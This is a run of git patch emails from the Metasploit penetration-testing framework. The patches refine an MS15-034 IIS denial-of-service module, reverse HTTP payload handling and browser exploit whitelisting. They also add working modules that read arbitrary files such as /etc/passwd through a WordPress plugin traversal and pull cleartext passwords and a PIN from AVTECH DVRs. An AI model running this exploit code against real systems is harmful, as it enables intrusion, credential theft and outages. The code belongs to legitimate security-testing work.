OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png']) + OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']) ], self.class) deregister_options('RHOST') @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary @file_size ||= lambda { file_size = -1 uri = normalize_uri(target_uri.path) - res = send_request_raw({'uri'=>uri}) + res = send_request_raw('uri' => uri) unless res vprint_error("#{ip}:#{rport} - Connection timed out") @@ -87,7 +87,6 @@ class Metasploit3 < Msf::Auxiliary }.call end - def dos_host(ip) file_size = get_file_size(ip) lower_range = file_size - 2 @@ -97,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary begin cli = Rex::Proto::Http::Client.new(ip) cli.connect - req = cli.request_raw({ + req = cli.request_raw( 'uri' => uri, 'method' => 'GET', 'headers' => { 'Range' => "bytes=#{lower_range}-#{upper_range}" } - }) + ) cli.send_request(req) rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches @@ -111,25 +110,69 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip}:#{rport} - DOS request sent") end - - def check_host(ip) - return Exploit::CheckCode::Unknown if get_file_size(ip) == -1 - + def potential_static_files_uris uri = normalize_uri(target_uri.path) - res = send_request_raw({ - 'uri' => uri, - 'method' => 'GET', - 'headers' => { - 'Range' => "bytes=0-#{upper_range}" - } - }) - if res && res.body.include?('Requested Range Not Satisfiable') - return Exploit::CheckCode::Vulnerable - elsif res && res.body.include?('The request has an invalid header name') - return Exploit::CheckCode::Safe - else - return Exploit::CheckCode::Unknown + + return [uri] unless uri[-1, 1] == '/' + + uris = ["#{uri}welcome.png"] + res = send_request_raw('uri' => uri, 'method' => 'GET') + + return uris unless res + + site_uri = URI.parse(full_uri) + + Nokogiri::HTML(res.body).xpath('//link|//script|//style|//img').each do |tag| + %w(href src).each do |attribute| + begin + attr_value = tag[attribute] + + next unless attr_value && !attr_value.empty? + + uri = site_uri.merge(URI.encode(attr_value.strip)) + + next unless uri.host == vhost || uri.host == rhost + + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file + rescue => e + vprint_error("#{peer} - #{e}") + next + end + end end + + uris.uniq end + def check_host(ip) + potential_static_files_uris.each do |potential_uri| + uri = normalize_uri(potential_uri) + + res = send_request_raw( + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'Range' => "bytes=0-#{upper_range}" + } + ) + + vmessage = "#{peer} - Checking #{uri} [#{res.code}]" + + if res && res.body.include?('Requested Range Not Satisfiable') + print_status("#{vmessage} - Vulnerable") + + target_uri.path = uri # Needed for the DoS attack + + return Exploit::CheckCode::Vulnerable + elsif res && res.body.include?('The request has an invalid header name') + vprint_status("#{vmessage} - Safe") + + return Exploit::CheckCode::Safe + else + vprint_status("#{vmessage} - Unknown") + end + end + + Exploit::CheckCode::Unknown + end end From 4f6fe2abce1b6ca7413f8b064079a2db797ce512 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Wed, 20 May 2015 21:36:03 +0100 Subject: [PATCH 0139/1013] Avoids swallowing exceptions --- .../dos/http/ms15_034_ulonglongadd.rb | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 9c0965579f..011e85351f 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -121,23 +121,19 @@ class Metasploit3 < Msf::Auxiliary return uris unless res site_uri = URI.parse(full_uri) + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) - Nokogiri::HTML(res.body).xpath('//link|//script|//style|//img').each do |tag| + page.xpath('//link|//script|//style|//img').each do |tag| %w(href src).each do |attribute| - begin - attr_value = tag[attribute] + attr_value = tag[attribute] - next unless attr_value && !attr_value.empty? + next unless attr_value && !attr_value.empty? - uri = site_uri.merge(URI.encode(attr_value.strip)) + uri = site_uri.merge(URI.encode(attr_value.strip)) - next unless uri.host == vhost || uri.host == rhost + next unless uri.host == vhost || uri.host == rhost - uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file - rescue => e - vprint_error("#{peer} - #{e}") - next - end + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file end end From ac0004ea0abb03cf598c91e39f1940ff87919d86 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 20 May 2015 19:47:17 -0500 Subject: [PATCH 0140/1013] Implement IgnoreUnknownPayloads --- lib/msf/core/handler/reverse_http.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d442d6727d..98de432c7e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -56,7 +56,8 @@ module ReverseHttp OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]), - OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]) + OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]), + OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) end @@ -228,6 +229,11 @@ protected conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] + print_status("#{cli.peerhost}:#{cli.peerport} Ignoring request with unknown UUID #{uuid.to_s}") + info[:mode] = :unknown_uuid + end + self.pending_connections += 1 # Process the requested resource. From e07576ce2099906cbdcea541377ff86682a7c7c7 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 20 May 2015 23:55:49 -0500 Subject: [PATCH 0141/1013] Indicate whether a session has a registered UUID --- lib/msf/base/serializer/readable_text.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 7749515b92..c62db55496 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -589,8 +589,11 @@ class ReadableText sess_via = session.via_exploit.to_s sess_type = session.type.to_s sess_uuid = session.payload_uuid.to_s + sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil + sess_checkin = "" sess_machine_id = session.machine_id.to_s + sess_registration = "No" if session.respond_to? :platform sess_type << (" " + session.platform) @@ -600,6 +603,13 @@ class ReadableText sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}" end + if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid]) + sess_registration = "Yes" + if uuid_info['name'] + sess_registration << " - Name=\"#{uuid_info['name']}\"" + end + end + out << " Session ID: #{sess_id}\n" out << " Type: #{sess_type}\n" out << " Info: #{sess_info}\n" @@ -608,6 +618,10 @@ class ReadableText out << " UUID: #{sess_uuid}\n" out << " MachineID: #{sess_machine_id}\n" out << " CheckIn: #{sess_checkin}\n" + out << " Registered: #{sess_registration}\n" + + + out << "\n" end From 27406204ed818a1fd553ea6c482bd11d2f41fe2a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 20 May 2015 23:56:15 -0500 Subject: [PATCH 0142/1013] Disable payload UUID registration by default --- lib/msf/core/payload/uuid/options.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/uuid/options.rb b/lib/msf/core/payload/uuid/options.rb index c5d23cf2cf..d3131c2884 100644 --- a/lib/msf/core/payload/uuid/options.rb +++ b/lib/msf/core/payload/uuid/options.rb @@ -18,7 +18,7 @@ module Msf::Payload::UUID::Options Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)']), Msf::OptString.new('PayloadUUIDRaw', [ false, 'A hex string representing the raw 8-byte PUID value for the UUID']), Msf::OptString.new('PayloadUUIDName', [ false, 'A human-friendly name to reference this unique payload (requires tracking)']), - Msf::OptBool.new('PayloadUUIDTracking', [ true, 'Whether or not to automatically register generated UUIDs', true]), + Msf::OptBool.new('PayloadUUIDTracking', [ true, 'Whether or not to automatically register generated UUIDs', false]), ], self.class) end From 6e8ee2f3baa2367ff31165591c30afc5ca6b4467 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 May 2015 00:05:14 -0500 Subject: [PATCH 0143/1013] Add whitelist feature --- lib/msf/core/exploit/browserautopwnv2.rb | 19 +++++++++++++++++++ modules/exploits/multi/browser/autopwn.rb | 3 ++- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index cb9037274e..f41e940b74 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -394,6 +394,8 @@ module Msf super @bap_exploits = [] @module_job_ids = [] + # #split might be expensive if the file is really big + @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil print_status("Searching BES exploits, please wait...") init_exploits @@ -577,6 +579,23 @@ module Msf end + def on_request_uri(cli, request) + if @whitelist && !is_ip_targeted?(cli.peerhost) + print_status("Client is trying to connect but not on our whitelist.") + send_not_found(cli) + return + end + + super + end + + + def is_ip_targeted?(cli_ip) + return unless @whitelist + @whitelist.include?(cli_ip) + end + + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index f0ab961770..26e79ddd4b 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), - OptString.new('Content', [false, 'HTML Content', '']) + OptString.new('Content', [false, 'HTML Content', '']), + OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') From 31c60b48c8f5c9cde22a39da5143ae93decfbe58 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 May 2015 00:08:04 -0500 Subject: [PATCH 0144/1013] Don't forget to doc --- lib/msf/core/exploit/browserautopwnv2.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index f41e940b74..4717bc93b5 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -579,6 +579,11 @@ module Msf end + # Handles client requests specific for BAP. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [void] def on_request_uri(cli, request) if @whitelist && !is_ip_targeted?(cli.peerhost) print_status("Client is trying to connect but not on our whitelist.") @@ -590,6 +595,11 @@ module Msf end + # Returns true if the IP is on our whitelist. + # + # @param [String] cli_ip Client's IP. + # @return [TrueClass] The IP is on the whitelist. + # @return [FalseClass] The IP is not on the whitelist. def is_ip_targeted?(cli_ip) return unless @whitelist @whitelist.include?(cli_ip) From 4622fa60eb664b87eedc5ce3baa8d074df247452 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 21 May 2015 00:22:41 -0500 Subject: [PATCH 0145/1013] Register the init_* URLs and whitelist these --- lib/msf/core/handler/reverse_http.rb | 20 ++++++++++++++++++-- lib/msf/core/payload/uuid/options.rb | 20 +++++++++++++++++++- 2 files changed, 37 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 98de432c7e..c3c8954f86 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -154,6 +154,10 @@ module ReverseHttp print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") lookup_proxy_settings + + if datastore['IgnoreUnknownPayloads'] + print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted") + end end # @@ -229,11 +233,21 @@ protected conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] - print_status("#{cli.peerhost}:#{cli.peerport} Ignoring request with unknown UUID #{uuid.to_s}") + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID") info[:mode] = :unknown_uuid end + # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set + if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/ + allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || [] + unless allowed_urls.include?(req.relative_resource) + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID URL #{req.relative_resource}") + info[:mode] = :unknown_uuid_url + end + end + self.pending_connections += 1 # Process the requested resource. @@ -374,7 +388,9 @@ protected }) else - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...") + unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) + print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...") + end resp.code = 200 resp.message = "OK" resp.body = datastore['HttpUnknownRequestResponse'].to_s diff --git a/lib/msf/core/payload/uuid/options.rb b/lib/msf/core/payload/uuid/options.rb index d3131c2884..f20233d031 100644 --- a/lib/msf/core/payload/uuid/options.rb +++ b/lib/msf/core/payload/uuid/options.rb @@ -42,7 +42,11 @@ module Msf::Payload::UUID::Options return "/" + generate_uri_checksum(sum, len, prefix="") end - generate_uri_uuid(sum, generate_payload_uuid, len) + uuid = generate_payload_uuid + uri = generate_uri_uuid(sum, uuid, len) + record_payload_uuid_url(uuid, uri) + + uri end # Generate a Payload UUID @@ -68,6 +72,10 @@ module Msf::Payload::UUID::Options conf[:puid] = puid_raw end + if datastore['PayloadUUIDName'].to_s.length > 0 && ! datastore['PayloadUUIDTracking'] + raise ArgumentError, "The PayloadUUIDName value is ignored unless PayloadUUIDTracking is enabled" + end + # Generate the UUID object uuid = Msf::Payload::UUID.new(conf) record_payload_uuid(uuid) @@ -98,5 +106,15 @@ module Msf::Payload::UUID::Options framework.uuid_db[uuid.puid_hex] = uuid_info end + # Store a UUID URL in the JSON database if tracking is enabled + def record_payload_uuid_url(uuid, url) + return unless datastore['PayloadUUIDTracking'] + uuid_info = framework.uuid_db[uuid.puid_hex] + uuid_info['urls'] ||= [] + uuid_info['urls'] << url + uuid_info['urls'].uniq! + framework.uuid_db[uuid.puid_hex] = uuid_info + end + end From 3ee02d3626f15fe3d53c97fbaf2a8c66cccea3b8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 21 May 2015 00:36:40 -0500 Subject: [PATCH 0146/1013] Hmm bug --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4717bc93b5..174a92cdfc 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -601,7 +601,7 @@ module Msf # @return [TrueClass] The IP is on the whitelist. # @return [FalseClass] The IP is not on the whitelist. def is_ip_targeted?(cli_ip) - return unless @whitelist + return true unless @whitelist @whitelist.include?(cli_ip) end From eac1663fed840737189f903ed763553a724f0174 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 21 May 2015 00:40:49 -0500 Subject: [PATCH 0147/1013] Ensure that the base directory exists before creating the file --- lib/rex/json_hash_file.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/json_hash_file.rb b/lib/rex/json_hash_file.rb index 196c5aadbb..00556efdfe 100644 --- a/lib/rex/json_hash_file.rb +++ b/lib/rex/json_hash_file.rb @@ -1,6 +1,7 @@ # -*- coding => binary -*- require 'json' +require 'fileutils' # # This class provides a thread-friendly hash file store in JSON format @@ -15,6 +16,7 @@ class JSONHashFile @lock = Mutex.new @hash = {} @last = 0 + ::FileUtils.mkdir_p(::File.dirname(path)) synced_update end From d9d8634948971b41e2fb974e111f66d5a13720fe Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 21 May 2015 08:46:16 +0100 Subject: [PATCH 0148/1013] Changes the message displayed when vulnerable --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 011e85351f..7aa1d270e6 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -155,7 +155,7 @@ class Metasploit3 < Msf::Auxiliary vmessage = "#{peer} - Checking #{uri} [#{res.code}]" if res && res.body.include?('Requested Range Not Satisfiable') - print_status("#{vmessage} - Vulnerable") + print_status("#{peer} - #{uri} is vulnerable") target_uri.path = uri # Needed for the DoS attack From 356f361b40640b315a9efb235b848413b8617517 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 21 May 2015 09:30:09 -0500 Subject: [PATCH 0149/1013] add sid to the the yard docs you win this round OJ ;) MSP-12722 --- lib/msf/core/rpc/v10/rpc_session.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index a671d2a5d4..6ac49faa65 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -397,6 +397,7 @@ class RPC_Session < RPC_Base # Changes the Transport of a given Meterpreter Session # + # @param sid [Fixnum] The Session ID of the `Msf::Session` # @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc) # @option opts [String] :lhost The LHOST of the listener to use # @option opts [String] :lport The LPORT of the listener to use From 0135b3639f5bfebd565a619b9d586bec41e1d5aa Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 21 May 2015 12:23:24 -0300 Subject: [PATCH 0150/1013] Add WordPress Simple Backup File Read Vulnerability. --- .../http/wp_simple_backup_file_read.rb | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb new file mode 100644 index 0000000000..6f4f82b0af --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Simple Backup File Read Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in WordPress Plugin + "Simple Backup" version 2.7.10, allowing to read arbitrary files with the + web server privileges. + }, + 'References' => + [ + ['WPVDB', '7997'], + ['URL', 'http://packetstormsecurity.com/files/131919/'] + ], + 'Author' => + [ + 'Mahdi.Hidden', # Vulnerability Discovery + 'Roberto Soares Espreto ' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) + ], self.class) + end + + def check + check_plugin_version_from_readme('simple-backup', '2.7.11') + end + + def run_host(ip) + traversal = "../" * datastore['DEPTH'] + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_backend, 'tools.php'), + 'vars_get' => + { + 'page' => 'backup_manager', + 'download_backup_file' => "#{traversal}#{filename}" + } + ) + + unless res && res.body + vprint_error("#{peer} - Server did not respond in an expected way.") + return + end + + if res.code == 200 && res.body.length > 0 && res.headers['Content-Disposition'].include?('attachment; filename') + + vprint_line("\n#{res.body}\n") + fname = datastore['FILEPATH'] + + path = store_loot( + 'simplebackup.traversal', + 'text/plain', + ip, + res.body, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.") + end + end +end From b4a6cdbad004da3d46cc6b6944e629814cf2ce02 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Thu, 21 May 2015 12:33:09 -0300 Subject: [PATCH 0151/1013] Remove new line in vprint_line. --- modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 6f4f82b0af..8cd632c729 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary if res.code == 200 && res.body.length > 0 && res.headers['Content-Disposition'].include?('attachment; filename') - vprint_line("\n#{res.body}\n") + vprint_line("#{res.body}") fname = datastore['FILEPATH'] path = store_loot( From c7df2c7cf1e1227001251cb95a8ac4fddb2ca49c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 21 May 2015 12:55:24 -0500 Subject: [PATCH 0152/1013] Update the gemspecs for recog 2.0 / mdm 1.2.0 --- metasploit-framework-db.gemspec | 2 +- metasploit-framework.gemspec | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 5b261dbf35..d64792775f 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0' + spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 41d93d8c7c..d1a3e83638 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -74,7 +74,7 @@ Gem::Specification.new do |spec| # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting - spec.add_runtime_dependency 'recog', '~> 1.0' + spec.add_runtime_dependency 'recog', '~> 2.0' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module From e1f10772b352031e477699308850d127068f5bba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 May 2015 16:30:42 -0500 Subject: [PATCH 0153/1013] Use create_cracked_credential --- .../auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 5ec74e9c31..93e95ac91b 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary # Write the rakp hash to the database hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" - report_hash(username, hash) + core_id = report_hash(username, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'") # Report the clear-text credential to the database - report_cracked_cred(username, pass) + report_cracked_cred(username, pass, core_id) break end end @@ -269,24 +269,18 @@ class Metasploit3 < Msf::Auxiliary status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) - create_credential_login(login_data) + cl = create_credential_login(login_data) + cl.core_id end - def report_cracked_cred(user, password) - credential_data = { - module_fullname: self.fullname, - origin_type: :service, - private_data: password, - private_type: :password, + def report_cracked_cred(user, password, core_id) + cred_data = { + core_id: core_id, username: user, - }.merge(service_data) + password: password + } - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) - - create_credential_login(login_data) + create_cracked_credential(cred_data) end # From 9430d38a092412cccac8b4709e95292b927c45a8 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Thu, 21 May 2015 16:33:06 -0500 Subject: [PATCH 0154/1013] Adding AVTECH744_DVR Module This module retrieves account information from an AVTECH 744 DVR, including username, cleartext password, account role, and the device PIN. --- .../gather/avtech744_dvr_account_retrieval.rb | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb diff --git a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb new file mode 100644 index 0000000000..e7cdfb5ed0 --- /dev/null +++ b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb @@ -0,0 +1,52 @@ +require 'msf/core' + + class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AVTECH 744 DVR Account Information Retrieval', + 'Description' => %q{ + This module will extract the account information from the DVR, + including all user's usernames and cleartext passwords plus + the device PIN, along with a few other miscellaneous details. + }, + 'Author' => [ 'nstarke' ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80), + ], self.class) + end + + + def run + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/cgi-bin/user/Config.cgi', + 'cookie' => 'SSID=YWRtaW46YWRtaW4=;', + 'vars_post' => { + 'action' => 'get', + 'category' => 'Account.*' + } + }) + + if (res != nil) + res.body.each_line { |line| + split = line.split('=') + key = split[0] + value = split[1] + if (key && value) + print_good("#{key} - #{value}") + end + } + p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body) + print_good("avtech744.dvr.accounts stored in #{p}") + else + print_error("Unable to receive a response") + end + end + end From 7a9e875a2511137fbce2d10f36576ea4387ad33b Mon Sep 17 00:00:00 2001 From: Tim Date: Fri, 22 May 2015 05:21:08 +0100 Subject: [PATCH 0155/1013] use uuid aware generate_uri_uuid_mode --- modules/payloads/stagers/android/reverse_http.rb | 4 +++- modules/payloads/stagers/android/reverse_https.rb | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 1830d5ae62..99c5359be8 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/uuid_options' module Metasploit3 @@ -12,6 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Dalvik + include Msf::Payload::UUIDOptions def initialize(info = {}) super(merge_info(info, @@ -37,7 +39,7 @@ module Metasploit3 lurl = "ZZZZhttp://#{datastore["LHOST"]}" lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] lurl << "/" - lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) + lurl << generate_uri_uuid_mode(:init_java, uri_req_len) classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index f1517bb1c1..9aa3b13bc8 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/uuid_options' module Metasploit3 @@ -12,6 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Dalvik + include Msf::Payload::UUIDOptions def initialize(info = {}) super(merge_info(info, @@ -37,7 +39,7 @@ module Metasploit3 lurl = "ZZZZhttps://#{datastore["LHOST"]}" lurl << ":#{datastore["LPORT"]}" if 